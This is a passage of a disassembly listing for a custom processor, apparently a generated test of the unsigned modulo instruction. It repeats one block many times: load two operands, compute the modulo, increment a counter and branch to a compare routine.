9620: 14 30 da 7c br 10 <compare>,#al
9624: 00 10 00 41 add r2,1
9628: 0d 41 71 04 wl16 r8,0xb84
962c: 0d 60 01 03 wh16 r8,0x3
9630: 10 40 01 08 ld32 r8,r8
9634: 0d 43 92 00 wl16 r16,0x1c80
9638: 0d 60 02 03 wh16 r16,0x3
963c: 10 40 02 10 ld32 r16,r16
9640: 0d 45 ad 3c wl16 r9,0x2d7c
9644: 0d 60 01 23 wh16 r9,0x3
9648: 10 40 01 29 ld32 r9,r9
964c: 00 a0 01 10 umod r8,r16
9650: 20 70 03 e2 movepc rret,8
9654: 14 30 da 6f br 10 <compare>,#al
9658: 00 10 00 41 add r2,1
965c: 0d 41 71 08 wl16 r8,0xb88
9660: 0d 60 01 03 wh16 r8,0x3
9664: 10 40 01 08 ld32 r8,r8
9668: 0d 43 92 04 wl16 r16,0x1c84
966c: 0d 60 02 03 wh16 r16,0x3
9670: 10 40 02 10 ld32 r16,r16
9674: 0d 45 b1 20 wl16 r9,0x2d80
9678: 0d 60 01 23 wh16 r9,0x3
967c: 10 40 01 29 ld32 r9,r9
9680: 00 a0 01 10 umod r8,r16
9684: 20 70 03 e2 movepc rret,8
9688: 14 30 da 62 br 10 <compare>,#al
968c: 00 10 00 41 add r2,1
9690: 0d 41 71 0c wl16 r8,0xb8c
9694: 0d 60 01 03 wh16 r8,0x3
9698: 10 40 01 08 ld32 r8,r8
969c: 0d 43 92 08 wl16 r16,0x1c88
96a0: 0d 60 02 03 wh16 r16,0x3
96a4: 10 40 02 10 ld32 r16,r16
96a8: 0d 45 b1 24 wl16 r9,0x2d84
96ac: 0d 60 01 23 wh16 r9,0x3
96b0: 10 40 01 29 ld32 r9,r9
96b4: 00 a0 01 10 umod r8,r16
96b8: 20 70 03 e2 movepc rret,8
96bc: 14 30 da 55 br 10 <compare>,#al
96c0: 00 10 00 41 add r2,1
96c4: 0d 41 71 10 wl16 r8,0xb90
96c8: 0d 60 01 03 wh16 r8,0x3
96cc: 10 40 01 08 ld32 r8,r8
96d0: 0d 43 92 0c wl16 r16,0x1c8c
96d4: 0d 60 02 03 wh16 r16,0x3
96d8: 10 40 02 10 ld32 r16,r16
96dc: 0d 45 b1 28 wl16 r9,0x2d88
96e0: 0d 60 01 23 wh16 r9,0x3
96e4: 10 40 01 29 ld32 r9,r9
96e8: 00 a0 01 10 umod r8,r16
96ec: 20 70 03 e2 movepc rret,8
96f0: 14 30 da 48 br 10 <compare>,#al
96f4: 00 10 00 41 add r2,1
96f8: 0d 41 71 14 wl16 r8,0xb94
96fc: 0d 60 01 03 wh16 r8,0x3
9700: 10 40 01 08 ld32 r8,r8
9704: 0d 43 92 10 wl16 r16,0x1c90
9708: 0d 60 02 03 wh16 r16,0x3
970c: 10 40 02 10 ld32 r16,r16
9710: 0d 45 b1 2c wl16 r9,0x2d8c
9714: 0d 60 01 23 wh16 r9,0x3
9718: 10 40 01 29 ld32 r9,r9
971c: 00 a0 01 10 umod r8,r16
9720: 20 70 03 e2 movepc rret,8
9724: 14 30 da 3b br 10 <compare>,#al
9728: 00 10 00 41 add r2,1
972c: 0d 41 71 18 wl16 r8,0xb98
9730: 0d 60 01 03 wh16 r8,0x3
9734: 10 40 01 08 ld32 r8,r8
9738: 0d 43 92 14 wl16 r16,0x1c94
973c: 0d 60 02 03 wh16 r16,0x3
9740: 10 40 02 10 ld32 r16,r16
9744: 0d 45 b1 30 wl16 r9,0x2d90
9748: 0d 60 01 23 wh16 r9,0x3
974c: 10 40 01 29 ld32 r9,r9
9750: 00 a0 01 10 umod r8,r16
9754: 20 70 03 e2 movepc rret,8
9758: 14 30 da 2e br 10 <compare>,#al
975c: 00 10 00 41 add r2,1
9760: 0d 41 71 1c wl16 r8,0xb9c
9764: 0d 60 01 03 wh16 r8,0x3
9768: 10 40 01 08 ld32 r8,r8
976c: 0d 43 92 18 wl16 r16,0x1c98
9770: 0d 60 02 03 wh16 r16,0x3
9774: 10 40 02 10 ld32 r16,r16
9778: 0d 45 b1 34 wl16 r9,0x2d94
977c: 0d 60 01 23 wh16 r9,0x3
9780: 10 40 01 29 ld32 r9,r9
9784: 00 a0 01 10 umod r8,r16
9788: 20 70 03 e2 movepc rret,8
978c: 14 30 da 21 br 10 <compare>,#al
9790: 00 10 00 41 add r2,1
9794: 0d 41 75 00 wl16 r8,0xba0
9798: 0d 60 01 03 wh16 r8,0x3
979c: 10 40 01 08 ld32 r8,r8
97a0: 0d 43 92 1c wl16 r16,0x1c9c
97a4: 0d 60 02 03 wh16 r16,0x3
97a8: 10 40 02 10 ld32 r16,r16
97ac: 0d 45 b1 38 wl16 r9,0x2d98
97b0: 0d 60 01 23 wh16 r9,0x3
97b4: 10 40 01 29 ld32 r9,r9
97b8: 00 a0 01 10 umod r8,r16
97bc: 20 70 03 e2 movepc rret,8
97c0: 14 30 da 14 br 10 <compare>,#al
97c4: 00 10 00 41 add r2,1
97c8: 0d 41 75 04 wl16 r8,0xba4
97cc: 0d 60 01 03 wh16 r8,0x3
97d0: 10 40 01 08 ld32 r8,r8
97d4: 0d 43 96 00 wl16 r16,0x1ca0
97d8: 0d 60 02 03 wh16 r16,0x3
97dc: 10 40 02 10 ld32 r16,r16
97e0: 0d 45 b1 3c wl16 r9,0x2d9c
97e4: 0d 60 01 23 wh16 r9,0x3
97e8: 10 40 01 29 ld32 r9,r9
97ec: 00 a0 01 10 umod r8,r16
97f0: 20 70 03 e2 movepc rret,8
97f4: 14 30 da 07 br 10 <compare>,#al
97f8: 00 10 00 41 add r2,1
97fc: 0d 41 75 08 wl16 r8,0xba8
9800: 0d 60 01 03 wh16 r8,0x3
9804: 10 40 01 08 ld32 r8,r8
9808: 0d 43 96 04 wl16 r16,0x1ca4
980c: 0d 60 02 03 wh16 r16,0x3
9810: 10 40 02 10 ld32 r16,r16
9814: 0d 45 b5 20 wl16 r9,0x2da0
9818: 0d 60 01 23 wh16 r9,0x3
981c: 10 40 01 29 ld32 r9,r9
9820: 00 a0 01 10 umod r8,r16
9824: 20 70 03 e2 movepc rret,8
9828: 14 30 d9 fa br 10 <compare>,#al
982c: 00 10 00 41 add r2,1
9830: 0d 41 75 0c wl16 r8,0xbac
9834: 0d 60 01 03 wh16 r8,0x3
9838: 10 40 01 08 ld32 r8,r8
983c: 0d 43 96 08 wl16 r16,0x1ca8
9840: 0d 60 02 03 wh16 r16,0x3
9844: 10 40 02 10 ld32 r16,r16
9848: 0d 45 b5 24 wl16 r9,0x2da4
984c: 0d 60 01 23 wh16 r9,0x3
9850: 10 40 01 29 ld32 r9,r9
9854: 00 a0 01 10 umod r8,r16
9858: 20 70 03 e2 movepc rret,8
985c: 14 30 d9 ed br 10 <compare>,#al
9860: 00 10 00 41 add r2,1
9864: 0d 41 75 10 wl16 r8,0xbb0
9868: 0d 60 01 03 wh16 r8,0x3
986c: 10 40 01 08 ld32 r8,r8
9870: 0d 43 96 0c wl16 r16,0x1cac
9874: 0d 60 02 03 wh16 r16,0x3
9878: 10 40 02 10 ld32 r16,r16
987c: 0d 45 b5 28 wl16 r9,0x2da8
9880: 0d 60 01 23 wh16 r9,0x3
9884: 10 40 01 29 ld32 r9,r9
9888: 00 a0 01 10 umod r8,r16
988c: 20 70 03 e2 movepc rret,8
9890: 14 30 d9 e0 br 10 <compare>,#al
9894: 00 10 00 41 add r2,1
9898: 0d 41 75 14 wl16 r8,0xbb4
989c: 0d 60 01 03 wh16 r8,0x3
98a0: 10 40 01 08 ld32 r8,r8
98a4: 0d 43 96 10 wl16 r16,0x1cb0
98a8: 0d 60 02 03 wh16 r16,0x3
98ac: 10 40 02 10 ld32 r16,r16
98b0: 0d 45 b5 2c wl16 r9,0x2dac
98b4: 0d 60 01 23 wh16 r9,0x3
98b8: 10 40 01 29 ld32 r9,r9
98bc: 00 a0 01 10 umod r8,r16
98c0: 20 70 03 e2 movepc rret,8
98c4: 14 30 d9 d3 br 10 <compare>,#al
98c8: 00 10 00 41 add r2,1
98cc: 0d 41 75 18 wl16 r8,0xbb8
98d0: 0d 60 01 03 wh16 r8,0x3
98d4: 10 40 01 08 ld32 r8,r8
98d8: 0d 43 96 14 wl16 r16,0x1cb4
98dc: 0d 60 02 03 wh16 r16,0x3
98e0: 10 40 02 10 ld32 r16,r16
98e4: 0d 45 b5 30 wl16 r9,0x2db0
98e8: 0d 60 01 23 wh16 r9,0x3
98ec: 10 40 01 29 ld32 r9,r9
98f0: 00 a0 01 10 umod r8,r16
98f4: 20 70 03 e2 movepc rret,8
98f8: 14 30 d9 c6 br 10 <compare>,#al
98fc: 00 10 00 41 add r2,1
9900: 0d 41 75 1c wl16 r8,0xbbc
9904: 0d 60 01 03 wh16 r8,0x3
9908: 10 40 01 08 ld32 r8,r8
990c: 0d 43 96 18 wl16 r16,0x1cb8
9910: 0d 60 02 03 wh16 r16,0x3
9914: 10 40 02 10 ld32 r16,r16
9918: 0d 45 b5 34 wl16 r9,0x2db4
991c: 0d 60 01 23 wh16 r9,0x3
9920: 10 40 01 29 ld32 r9,r9
9924: 00 a0 01 10 umod r8,r16
9928: 20 70 03 e2 movepc rret,8
992c: 14 30 d9 b9 br 10 <compare>,#al
9930: 00 10 00 41 add r2,1
9934: 0d 41 79 00 wl16 r8,0xbc0
9938: 0d 60 01 03 wh16 r8,0x3
993c: 10 40 01 08 ld32 r8,r8
9940: 0d 43 96 1c wl16 r16,0x1cbc
9944: 0d 60 02 03 wh16 r16,0x3
9948: 10 40 02 10 ld32 r16,r16
994c: 0d 45 b5 38 wl16 r9,0x2db8
9950: 0d 60 01 23 wh16 r9,0x3
9954: 10 40 01 29 ld32 r9,r9
9958: 00 a0 01 10 umod r8,r16
995c: 20 70 03 e2 movepc rret,8
9960: 14 30 d9 ac br 10 <compare>,#al
9964: 00 10 00 41 add r2,1
9968: 0d 41 79 04 wl16 r8,0xbc4
996c: 0d 60 01 03 wh16 r8,0x3
9970: 10 40 01 08 ld32 r8,r8
9974: 0d 43 9a 00 wl16 r16,0x1cc0
9978: 0d 60 02 03 wh16 r16,0x3
997c: 10 40 02 10 ld32 r16,r16
9980: 0d 45 b5 3c wl16 r9,0x2dbc
9984: 0d 60 01 23 wh16 r9,0x3
9988: 10 40 01 29 ld32 r9,r9
998c: 00 a0 01 10 umod r8,r16
9990: 20 70 03 e2 movepc rret,8
9994: 14 30 d9 9f br 10 <compare>,#al
9998: 00 10 00 41 add r2,1
999c: 0d 41 79 08 wl16 r8,0xbc8
99a0: 0d 60 01 03 wh16 r8,0x3
99a4: 10 40 01 08 ld32 r8,r8
99a8: 0d 43 9a 04 wl16 r16,0x1cc4
99ac: 0d 60 02 03 wh16 r16,0x3
99b0: 10 40 02 10 ld32 r16,r16
99b4: 0d 45 b9 20 wl16 r9,0x2dc0
99b8: 0d 60 01 23 wh16 r9,0x3
99bc: 10 40 01 29 ld32 r9,r9
99c0: 00 a0 01 10 umod r8,r16
99c4: 20 70 03 e2 movepc rret,8
99c8: 14 30 d9 92 br 10 <compare>,#al
99cc: 00 10 00 41 add r2,1
99d0: 0d 41 79 0c wl16 r8,0xbcc
99d4: 0d 60 01 03 wh16 r8,0x3
99d8: 10 40 01 08 ld32 r8,r8
99dc: 0d 43 9a 08 wl16 r16,0x1cc8
99e0: 0d 60 02 03 wh16 r16,0x3
99e4: 10 40 02 10 ld32 r16,r16
99e8: 0d 45 b9 24 wl16 r9,0x2dc4
99ec: 0d 60 01 23 wh16 r9,0x3
99f0: 10 40 01 29 ld32 r9,r9
99f4: 00 a0 01 10 umod r8,r16
99f8: 20 70 03 e2 movepc rret,8
99fc: 14 30 d9 85 br 10 <compare>,#al
9a00: 00 10 00 41 add r2,1
9a04: 0d 41 79 10 wl16 r8,0xbd0
9a08: 0d 60 01 03 wh16 r8,0x3
9a0c: 10 40 01 08 ld32 r8,r8
9a10: 0d 43 9a 0c wl16 r16,0x1ccc
9a14: 0d 60 02 03 wh16 r16,0x3
9a18: 10 40 02 10 ld32 r16,r16
9a1c: 0d 45 b9 28 wl16 r9,0x2dc8
9a20: 0d 60 01 23 wh16 r9,0x3
9a24: 10 40 01 29 ld32 r9,r9
9a28: 00 a0 01 10 umod r8,r16
9a2c: 20 70 03 e2 movepc rret,8
9a30: 14 30 d9 78 br 10 <compare>,#al
9a34: 00 10 00 41 add r2,1
9a38: 0d 41 79 14 wl16 r8,0xbd4
9a3c: 0d 60 01 03 wh16 r8,0x3
9a40: 10 40 01 08 ld32 r8,r8
9a44: 0d 43 9a 10 wl16 r16,0x1cd0
9a48: 0d 60 02 03 wh16 r16,0x3
9a4c: 10 40 02 10 ld32 r16,r16
9a50: 0d 45 b9 2c wl16 r9,0x2dcc
9a54: 0d 60 01 23 wh16 r9,0x3
9a58: 10 40 01 29 ld32 r9,r9
9a5c: 00 a0 01 10 umod r8,r16
9a60: 20 70 03 e2 movepc rret,8
9a64: 14 30 d9 6b br 10 <compare>,#al
9a68: 00 10 00 41 add r2,1
9a6c: 0d 41 79 18 wl16 r8,0xbd8
9a70: 0d 60 01 03 wh16 r8,0x3
9a74: 10 40 01 08 ld32 r8,r8
9a78: 0d 43 9a 14 wl16 r16,0x1cd4
9a7c: 0d 60 02 03 wh16 r16,0x3
9a80: 10 40 02 10 ld32 r16,r16
9a84: 0d 45 b9 30 wl16 r9,0x2dd0
9a88: 0d 60 01 23 wh16 r9,0x3
9a8c: 10 40 01 29 ld32 r9,r9
9a90: 00 a0 01 10 umod r8,r16
9a94: 20 70 03 e2 movepc rret,8
9a98: 14 30 d9 5e br 10 <compare>,#al
9a9c: 00 10 00 41 add r2,1
9aa0: 0d 41 79 1c wl16 r8,0xbdc
9aa4: 0d 60 01 03 wh16 r8,0x3
9aa8: 10 40 01 08 ld32 r8,r8
9aac: 0d 43 9a 18 wl16 r16,0x1cd8
9ab0: 0d 60 02 03 wh16 r16,0x3
9ab4: 10 40 02 10 ld32 r16,r16
9ab8: 0d 45 b9 34 wl16 r9,0x2dd4
9abc: 0d 60 01 23 wh16 r9,0x3
9ac0: 10 40 01 29 ld32 r9,r9
9ac4: 00 a0 01 10 umod r8,r16
9ac8: 20 70 03 e2 movepc rret,8
9acc: 14 30 d9 51 br 10 <compare>,#al
9ad0: 00 10 00 41 add r2,1
9ad4: 0d 41 7d 00 wl16 r8,0xbe0
9ad8: 0d 60 01 03 wh16 r8,0x3
9adc: 10 40 01 08 ld32 r8,r8
9ae0: 0d 43 9a 1c wl16 r16,0x1cdc
9ae4: 0d 60 02 03 wh16 r16,0x3
9ae8: 10 40 02 10 ld32 r16,r16
9aec: 0d 45 b9 38 wl16 r9,0x2dd8
9af0: 0d 60 01 23 wh16 r9,0x3
9af4: 10 40 01 29 ld32 r9,r9
9af8: 00 a0 01 10 umod r8,r16
9afc: 20 70 03 e2 movepc rret,8
9b00: 14 30 d9 44 br 10 <compare>,#al
9b04: 00 10 00 41 add r2,1
9b08: 0d 41 7d 04 wl16 r8,0xbe4
9b0c: 0d 60 01 03 wh16 r8,0x3
9b10: 10 40 01 08 ld32 r8,r8
9b14: 0d 43 9e 00 wl16 r16,0x1ce0
9b18: 0d 60 02 03 wh16 r16,0x3
9b1c: 10 40 02 10 ld32 r16,r16
9b20: 0d 45 b9 3c wl16 r9,0x2ddc
9b24: 0d 60 01 23 wh16 r9,0x3
9b28: 10 40 01 29 ld32 r9,r9
9b2c: 00 a0 01 10 umod r8,r16
9b30: 20 70 03 e2 movepc rret,8
9b34: 14 30 d9 37 br 10 <compare>,#al
9b38: 00 10 00 41 add r2,1
9b3c: 0d 41 7d 08 wl16 r8,0xbe8
9b40: 0d 60 01 03 wh16 r8,0x3
9b44: 10 40 01 08 ld32 r8,r8
9b48: 0d 43 9e 04 wl16 r16,0x1ce4
9b4c: 0d 60 02 03 wh16 r16,0x3
9b50: 10 40 02 10 ld32 r16,r16
9b54: 0d 45 bd 20 wl16 r9,0x2de0
9b58: 0d 60 01 23 wh16 r9,0x3
9b5c: 10 40 01 29 ld32 r9,r9
9b60: 00 a0 01 10 umod r8,r16
9b64: 20 70 03 e2 movepc rret,8
9b68: 14 30 d9 2a br 10 <compare>,#al
9b6c: 00 10 00 41 add r2,1
9b70: 0d 41 7d 0c wl16 r8,0xbec
9b74: 0d 60 01 03 wh16 r8,0x3
9b78: 10 40 01 08 ld32 r8,r8
9b7c: 0d 43 9e 08 wl16 r16,0x1ce8
9b80: 0d 60 02 03 wh16 r16,0x3
9b84: 10 40 02 10 ld32 r16,r16
9b88: 0d 45 bd 24 wl16 r9,0x2de4
9b8c: 0d 60 01 23 wh16 r9,0x3
9b90: 10 40 01 29 ld32 r9,r9
9b94: 00 a0 01 10 umod r8,r16
9b98: 20 70 03 e2 movepc rret,8
9b9c: 14 30 d9 1d br 10 <compare>,#al
9ba0: 00 10 00 41 add r2,1
9ba4: 0d 41 7d 10 wl16 r8,0xbf0
9ba8: 0d 60 01 03 wh16 r8,0x3
9bac: 10 40 01 08 ld32 r8,r8
9bb0: 0d 43 9e 0c wl16 r16,0x1cec
9bb4: 0d 60 02 03 wh16 r16,0x3
9bb8: 10 40 02 10 ld32 r16,r16
9bbc: 0d 45 bd 28 wl16 r9,0x2de8
9bc0: 0d 60 01 23 wh16 r9,0x3
9bc4: 10 40 01 29 ld32 r9,r9
9bc8: 00 a0 01 10 umod r8,r16
9bcc: 20 70 03 e2 movepc rret,8
9bd0: 14 30 d9 10 br 10 <compare>,#al
9bd4: 00 10 00 41 add r2,1
9bd8: 0d 41 7d 14 wl16 r8,0xbf4
9bdc: 0d 60 01 03 wh16 r8,0x3
9be0: 10 40 01 08 ld32 r8,r8
9be4: 0d 43 9e 10 wl16 r16,0x1cf0
9be8: 0d 60 02 03 wh16 r16,0x3
9bec: 10 40 02 10 ld32 r16,r16
9bf0: 0d 45 bd 2c wl16 r9,0x2dec
9bf4: 0d 60 01 23 wh16 r9,0x3
9bf8: 10 40 01 29 ld32 r9,r9
9bfc: 00 a0 01 10 umod r8,r16
9c00: 20 70 03 e2 movepc rret,8
9c04: 14 30 d9 03 br 10 <compare>,#al
9c08: 00 10 00 41 add r2,1
9c0c: 0d 41 7d 18 wl16 r8,0xbf8
9c10: 0d 60 01 03 wh16 r8,0x3
9c14: 10 40 01 08 ld32 r8,r8
9c18: 0d 43 9e 14 wl16 r16,0x1cf4
9c1c: 0d 60 02 03 wh16 r16,0x3
9c20: 10 40 02 10 ld32 r16,r16
9c24: 0d 45 bd 30 wl16 r9,0x2df0
9c28: 0d 60 01 23 wh16 r9,0x3
9c2c: 10 40 01 29 ld32 r9,r9
9c30: 00 a0 01 10 umod r8,r16
9c34: 20 70 03 e2 movepc rret,8
9c38: 14 30 d8 f6 br 10 <compare>,#al
9c3c: 00 10 00 41 add r2,1
9c40: 0d 41 7d 1c wl16 r8,0xbfc
9c44: 0d 60 01 03 wh16 r8,0x3
9c48: 10 40 01 08 ld32 r8,r8
9c4c: 0d 43 9e 18 wl16 r16,0x1cf8
9c50: 0d 60 02 03 wh16 r16,0x3
9c54: 10 40 02 10 ld32 r16,r16
9c58: 0d 45 bd 34 wl16 r9,0x2df4
9c5c: 0d 60 01 23 wh16 r9,0x3
9c60: 10 40 01 29 ld32 r9,r9
9c64: 00 a0 01 10 umod r8,r16
9c68: 20 70 03 e2 movepc rret,8
9c6c: 14 30 d8 e9 br 10 <compare>,#al
9c70: 00 10 00 41 add r2,1
9c74: 0d 41 81 00 wl16 r8,0xc00
9c78: 0d 60 01 03 wh16 r8,0x3
9c7c: 10 40 01 08 ld32 r8,r8
9c80: 0d 43 9e 1c wl16 r16,0x1cfc
9c84: 0d 60 02 03 wh16 r16,0x3
9c88: 10 40 02 10 ld32 r16,r16
9c8c: 0d 45 bd 38 wl16 r9,0x2df8
9c90: 0d 60 01 23 wh16 r9,0x3
9c94: 10 40 01 29 ld32 r9,r9
9c98: 00 a0 01 10 umod r8,r16
9c9c: 20 70 03 e2 movepc rret,8
9ca0: 14 30 d8 dc br 10 <compare>,#al
9ca4: 00 10 00 41 add r2,1
9ca8: 0d 41 81 04 wl16 r8,0xc04
9cac: 0d 60 01 03 wh16 r8,0x3
9cb0: 10 40 01 08 ld32 r8,r8
9cb4: 0d 43 a2 00 wl16 r16,0x1d00
9cb8: 0d 60 02 03 wh16 r16,0x3
9cbc: 10 40 02 10 ld32 r16,r16
9cc0: 0d 45 bd 3c wl16 r9,0x2dfc
9cc4: 0d 60 01 23 wh16 r9,0x3
9cc8: 10 40 01 29 ld32 r9,r9
9ccc: 00 a0 01 10 umod r8,r16
9cd0: 20 70 03 e2 movepc rret,8
9cd4: 14 30 d8 cf br 10 <compare>,#al
9cd8: 00 10 00 41 add r2,1
9cdc: 0d 41 81 08 wl16 r8,0xc08
9ce0: 0d 60 01 03 wh16 r8,0x3
9ce4: 10 40 01 08 ld32 r8,r8
9ce8: 0d 43 a2 04 wl16 r16,0x1d04
9cec: 0d 60 02 03 wh16 r16,0x3
9cf0: 10 40 02 10 ld32 r16,r16
9cf4: 0d 45 c1 20 wl16 r9,0x2e00
9cf8: 0d 60 01 23 wh16 r9,0x3
9cfc: 10 40 01 29 ld32 r9,r9
9d00: 00 a0 01 10 umod r8,r16
9d04: 20 70 03 e2 movepc rret,8
9d08: 14 30 d8 c2 br 10 <compare>,#al
9d0c: 00 10 00 41 add r2,1
9d10: 0d 41 81 0c wl16 r8,0xc0c
9d14: 0d 60 01 03 wh16 r8,0x3
9d18: 10 40 01 08 ld32 r8,r8
9d1c: 0d 43 a2 08 wl16 r16,0x1d08
9d20: 0d 60 02 03 wh16 r16,0x3
9d24: 10 40 02 10 ld32 r16,r16
9d28: 0d 45 c1 24 wl16 r9,0x2e04
9d2c: 0d 60 01 23 wh16 r9,0x3
9d30: 10 40 01 29 ld32 r9,r9
9d34: 00 a0 01 10 umod r8,r16
9d38: 20 70 03 e2 movepc rret,8
9d3c: 14 30 d8 b5 br 10 <compare>,#al
9d40: 00 10 00 41 add r2,1
9d44: 0d 41 81 10 wl16 r8,0xc10
9d48: 0d 60 01 03 wh16 r8,0x3
9d4c: 10 40 01 08 ld32 r8,r8
9d50: 0d 43 a2 0c wl16 r16,0x1d0c
9d54: 0d 60 02 03 wh16 r16,0x3
9d58: 10 40 02 10 ld32 r16,r16
9d5c: 0d 45 c1 28 wl16 r9,0x2e08
9d60: 0d 60 01 23 wh16 r9,0x3
9d64: 10 40 01 29 ld32 r9,r9
9d68: 00 a0 01 10 umod r8,r16
9d6c: 20 70 03 e2 movepc rret,8
9d70: 14 30 d8 a8 br 10 <compare>,#al
9d74: 00 10 00 41 add r2,1
9d78: 0d 41 81 14 wl16 r8,0xc14
9d7c: 0d 60 01 03 wh16 r8,0x3
9d80: 10 40 01 08 ld32 r8,r8
9d84: 0d 43 a2 10 wl16 r16,0x1d10
9d88: 0d 60 02 03 wh16 r16,0x3
9d8c: 10 40 02 10 ld32 r16,r16
9d90: 0d 45 c1 2c wl16 r9,0x2e0c
9d94: 0d 60 01 23 wh16 r9,0x3
9d98: 10 40 01 29 ld32 r9,r9
9d9c: 00 a0 01 10 umod r8,r16
9da0: 20 70 03 e2 movepc rret,8
9da4: 14 30 d8 9b br 10 <compare>,#al
9da8: 00 10 00 41 add r2,1
9dac: 0d 41 81 18 wl16 r8,0xc18
9db0: 0d 60 01 03 wh16 r8,0x3
9db4: 10 40 01 08 ld32 r8,r8
9db8: 0d 43 a2 14 wl16 r16,0x1d14
9dbc: 0d 60 02 03 wh16 r16,0x3
9dc0: 10 40 02 10 ld32 r16,r16
9dc4: 0d 45 c1 30 wl16 r9,0x2e10
9dc8: 0d 60 01 23 wh16 r9,0x3
9dcc: 10 40 01 29 ld32 r9,r9
9dd0: 00 a0 01 10 umod r8,r16
9dd4: 20 70 03 e2 movepc rret,8
9dd8: 14 30 d8 8e br 10 <compare>,#al
9ddc: 00 10 00 41 add r2,1
9de0: 0d 41 81 1c wl16 r8,0xc1c
9de4: 0d 60 01 03 wh16 r8,0x3
9de8: 10 40 01 08 ld32 r8,r8
9dec: 0d 43 a2 18 wl16 r16,0x1d18
9df0: 0d 60 02 03 wh16 r16,0x3
9df4: 10 40 02 10 ld32 r16,r16
9df8: 0d 45 c1 34 wl16 r9,0x2e14
9dfc: 0d 60 01 23 wh16 r9,0x3
9e00: 10 40 01 29 ld32 r9,r9
9e04: 00 a0 01 10 umod r8,r16
9e08: 20 70 03 e2 movepc rret,8
9e0c: 14 30 d8 81 br 10 <compare>,#al
9e10: 00 10 00 41 add r2,1
9e14: 0d 41 85 00 wl16 r8,0xc20
9e18: 0d 60 01 03 wh16 r8,0x3
9e1c: 10 40 01 08 ld32 r8,r8
9e20: 0d 43 a2 1c wl16 r16,0x1d1c
9e24: 0d 60 02 03 wh16 r16,0x3
9e28: 10 40 02 10 ld32 r16,r16
9e2c: 0d 45 c1 38 wl16 r9,0x2e18
9e30: 0d 60 01 23 wh16 r9,0x3
9e34: 10 40 01 29 ld32 r9,r9
9e38: 00 a0 01 10 umod r8,r16
9e3c: 20 70 03 e2 movepc rret,8
9e40: 14 30 d8 74 br 10 <compare>,#al
9e44: 00 10 00 41 add r2,1
9e48: 0d 41 85 04 wl16 r8,0xc24
9e4c: 0d 60 01 03 wh16 r8,0x3
9e50: 10 40 01 08 ld32 r8,r8
9e54: 0d 43 a6 00 wl16 r16,0x1d20
9e58: 0d 60 02 03 wh16 r16,0x3
9e5c: 10 40 02 10 ld32 r16,r16
9e60: 0d 45 c1 3c wl16 r9,0x2e1c
9e64: 0d 60 01 23 wh16 r9,0x3
9e68: 10 40 01 29 ld32 r9,r9
9e6c: 00 a0 01 10 umod r8,r16
9e70: 20 70 03 e2 movepc rret,8
9e74: 14 30 d8 67 br 10 <compare>,#al
9e78: 00 10 00 41 add r2,1
9e7c: 0d 41 85 08 wl16 r8,0xc28
9e80: 0d 60 01 03 wh16 r8,0x3
9e84: 10 40 01 08 ld32 r8,r8
9e88: 0d 43 a6 04 wl16 r16,0x1d24
9e8c: 0d 60 02 03 wh16 r16,0x3
9e90: 10 40 02 10 ld32 r16,r16
9e94: 0d 45 c5 20 wl16 r9,0x2e20
9e98: 0d 60 01 23 wh16 r9,0x3
9e9c: 10 40 01 29 ld32 r9,r9
9ea0: 00 a0 01 10 umod r8,r16
9ea4: 20 70 03 e2 movepc rret,8
9ea8: 14 30 d8 5a br 10 <compare>,#al
9eac: 00 10 00 41 add r2,1
9eb0: 0d 41 85 0c wl16 r8,0xc2c
9eb4: 0d 60 01 03 wh16 r8,0x3
9eb8: 10 40 01 08 ld32 r8,r8
9ebc: 0d 43 a6 08 wl16 r16,0x1d28
9ec0: 0d 60 02 03 wh16 r16,0x3
9ec4: 10 40 02 10 ld32 r16,r16
9ec8: 0d 45 c5 24 wl16 r9,0x2e24
9ecc: 0d 60 01 23 wh16 r9,0x3
9ed0: 10 40 01 29 ld32 r9,r9
9ed4: 00 a0 01 10 umod r8,r16
9ed8: 20 70 03 e2 movepc rret,8
9edc: 14 30 d8 4d br 10 <compare>,#al
9ee0: 00 10 00 41 add r2,1
9ee4: 0d 41 85 10 wl16 r8,0xc30
9ee8: 0d 60 01 03 wh16 r8,0x3
9eec: 10 40 01 08 ld32 r8,r8
9ef0: 0d 43 a6 0c wl16 r16,0x1d2c
9ef4: 0d 60 02 03 wh16 r16,0x3
9ef8: 10 40 02 10 ld32 r16,r16
9efc: 0d 45 c5 28 wl16 r9,0x2e28
9f00: 0d 60 01 23 wh16 r9,0x3
9f04: 10 40 01 29 ld32 r9,r9
9f08: 00 a0 01 10 umod r8,r16
9f0c: 20 70 03 e2 movepc rret,8
9f10: 14 30 d8 40 br 10 <compare>,#al
9f14: 00 10 00 41 add r2,1
9f18: 0d 41 85 14 wl16 r8,0xc34
9f1c: 0d 60 01 03 wh16 r8,0x3
9f20: 10 40 01 08 ld32 r8,r8
9f24: 0d 43 a6 10 wl16 r16,0x1d30
9f28: 0d 60 02 03 wh16 r16,0x3
9f2c: 10 40 02 10 ld32 r16,r16
9f30: 0d 45 c5 2c wl16 r9,0x2e2c
9f34: 0d 60 01 23 wh16 r9,0x3
9f38: 10 40 01 29 ld32 r9,r9
9f3c: 00 a0 01 10 umod r8,r16
9f40: 20 70 03 e2 movepc rret,8
9f44: 14 30 d8 33 br 10 <compare>,#al
9f48: 00 10 00 41 add r2,1
9f4c: 0d 41 85 18 wl16 r8,0xc38
9f50: 0d 60 01 03 wh16 r8,0x3
9f54: 10 40 01 08 ld32 r8,r8
9f58: 0d 43 a6 14 wl16 r16,0x1d34
9f5c: 0d 60 02 03 wh16 r16,0x3
9f60: 10 40 02 10 ld32 r16,r16
9f64: 0d 45 c5 30 wl16 r9,0x2e30
9f68: 0d 60 01 23 wh16 r9,0x3
9f6c: 10 40 01 29 ld32 r9,r9
9f70: 00 a0 01 10 umod r8,r16
9f74: 20 70 03 e2 movepc rret,8
9f78: 14 30 d8 26 br 10 <compare>,#al
9f7c: 00 10 00 41 add r2,1
9f80: 0d 41 85 1c wl16 r8,0xc3c
9f84: 0d 60 01 03 wh16 r8,0x3
9f88: 10 40 01 08 ld32 r8,r8
9f8c: 0d 43 a6 18 wl16 r16,0x1d38
9f90: 0d 60 02 03 wh16 r16,0x3
9f94: 10 40 02 10 ld32 r16,r16
9f98: 0d 45 c5 34 wl16 r9,0x2e34
9f9c: 0d 60 01 23 wh16 r9,0x3
9fa0: 10 40 01 29 ld32 r9,r9
9fa4: 00 a0 01 10 umod r8,r16
9fa8: 20 70 03 e2 movepc rret,8
9fac: 14 30 d8 19 br 10 <compare>,#al
9fb0: 00 10 00 41 add r2,1
9fb4: 0d 41 89 00 wl16 r8,0xc40
9fb8: 0d 60 01 03 wh16 r8,0x3
9fbc: 10 40 01 08 ld32 r8,r8
